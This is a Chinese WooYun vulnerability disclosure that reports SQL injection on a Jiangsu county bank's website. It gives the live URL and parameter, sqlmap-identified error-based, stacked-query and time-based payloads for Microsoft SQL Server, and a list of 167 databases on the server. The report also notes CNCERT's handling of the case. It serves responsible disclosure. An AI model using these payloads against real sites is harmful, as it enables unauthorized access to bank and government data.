当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-070440

漏洞标题:江苏省某县级银行SQL注入

相关厂商:CNCERT

漏洞作者: 乐乐、

提交时间:2014-07-31 12:40

修复时间:2014-09-14 12:42

公开时间:2014-09-14 12:42

漏洞类型:SQL注射漏洞

危害等级:低

自评Rank:1

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-31: 细节已通知厂商并且等待厂商处理中
2014-08-05: 厂商已经确认,细节仅向厂商公开
2014-08-15: 细节向核心白帽子及相关领域专家公开
2014-08-25: 细节向普通白帽子公开
2014-09-04: 细节向实习白帽子公开
2014-09-14: 细节向公众公开

简要描述:

详细说明:

http://www.syrcbank.com/bank/category.aspx?item=006001 注入
这站注入点很多

漏洞证明:

sqlmap identified the following injection points with a total of 71 HTTP(s) requests:
---
Place: GET
Parameter: item
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: item=006001' AND 4780=CONVERT(INT,(SELECT CHAR(113)+CHAR(118)+CHAR(121)+CHAR(116)+CHAR(113)+(SELECT (CASE WHEN (4780=4780) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(117)+CHAR(98)+CHAR(114)+CHAR(113))) AND 'GXBn'='GXBn
Vector: AND [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: item=006001'; WAITFOR DELAY '0:0:5'--
Vector: ; IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: item=006001' WAITFOR DELAY '0:0:5'--
Vector: IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'--
---
web server operating system: Windows 2008
web application technology: ASP.NET, Microsoft IIS 7.5, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
available databases [167]:
[*] 2fengwo
[*] Auction
[*] bzst
[*] bzt
[*] CaiJi
[*] callWo
[*] CangJi
[*] CanJiGuidedSigns
[*] car
[*] Chenji
[*] chenjix
[*] chiming_com_tw
[*] chuangye
[*] CodeMall
[*] cw
[*] cyds
[*] cywh_jcsj
[*] Cywhj5
[*] Cywhj6
[*] cz_suyu_gov_cn
[*] dcxt_wh
[*] distmodel
[*] djgj
[*] dtjx_wh
[*] DuCha
[*] en_jsjiangu_com
[*] eshops
[*] ess_db_czj
[*] ess_db_good121
[*] ess_db_oa
[*] ess_hbxc_system
[*] ess_jsjghgen
[*] ess_sina
[*] ess_sqsina
[*] ess_syczj
[*] ess_system
[*] ess_waimai
[*] Excellent_company
[*] Expo
[*] Fagaiwei
[*] Fgw3
[*] food2
[*] FriendDB
[*] golf
[*] good121_com
[*] good121_new
[*] grain365
[*] GuanMiaoZhongXue
[*] GuChuSheQu
[*] Hbmfcs
[*] hbxc
[*] hbxc_system
[*] hbxcbbs
[*] hbxccp
[*] Hbxcsjwmcscj
[*] HBXCZaohemiaohui
[*] HeJiWeiYe
[*] HomeService
[*] house
[*] housebbs
[*] huangdun_gov_cn_wh
[*] HuangheCollege
[*] hxjd
[*] jcsj
[*] JiaZheng
[*] Jkqwmb
[*] jsdjhotel_com
[*] jsjiangu_com
[*] jszl_wh
[*] JUST
[*] KfqQzlxw
[*] klb_wh
[*] Lmhzbjjjjq
[*] lmys
[*] longhe
[*] lvling
[*] lyjszx_wh
[*] lyjy_wh
[*] lyw
[*] MallGroup
[*] master
[*] Miaolian
[*] MinfengBank
[*] model
[*] msdb
[*] msdblog.ldf
[*] NetworkDrive
[*] Northwind
[*] oa
[*] OnlineMall
[*] Qczy
[*] qianda_db
[*] renfangban
[*] RenWuBu_wh
[*] ReportServer
[*] ReportServerTempDB
[*] SaiBoChuangMei
[*] school
[*] shlyw
[*] SiyangBank
[*] sjsc_kfq
[*] soweb
[*] sq12345
[*] sq166_cn
[*] sq_cslm
[*] sqcxzy
[*] sqdcpzx
[*] sqfccc
[*] SqGou
[*] sqhuabang_com
[*] Sqlmzx
[*] sqlyw_wh
[*] Sqmydpo
[*] sqshzn
[*] sqsina_new
[*] SqSuchi
[*] sqtakeaway
[*] sqtzb_gov_cn
[*] sqwater
[*] sqwb
[*] sqwgx_gov_cn
[*] sqzp
[*] sqzrlw_com
[*] sqzsh_com
[*] sts_wh
[*] StudentGroupMall
[*] StudentMall
[*] suqian_cm
[*] suqianbbs
[*] suqianshiyanxiaoxue
[*] suqiansourcing_gov_cn
[*] Sxjc
[*] sydjd
[*] TaiFengSangMao
[*] TeamShopping
[*] tempdb
[*] thyy
[*] Tianyi
[*] Tourism
[*] TuYuan
[*] tzb_wh_new
[*] vote
[*] WaiShiBang
[*] Wctc
[*] wgjdzb_wh
[*] wlp_que
[*] Wolpo_net
[*] xcgjjd_wh
[*] xingchen
[*] Xlyoueryuan
[*] Xqbl
[*] XuanChuanBu
[*] XunYiCaoSenLin
[*] Xwgl
[*] yanghemidschool
[*] YangheNewCity
[*] YangHeQzlxw
[*] YangHeXxsb
[*] YangHeXxsb2
[*] Ygz
[*] YuZhen
[*] Yzjt
[*] Zhanhuiyuding
[*] zhaoshang
[*] ZhengLou
[*] ZhongYang
[*] ZongSangHui

修复方案:

版权声明:转载请注明来源 乐乐、@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-08-05 08:59

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给江苏分中心,并同步通报给银监会处置。

最新状态:

暂无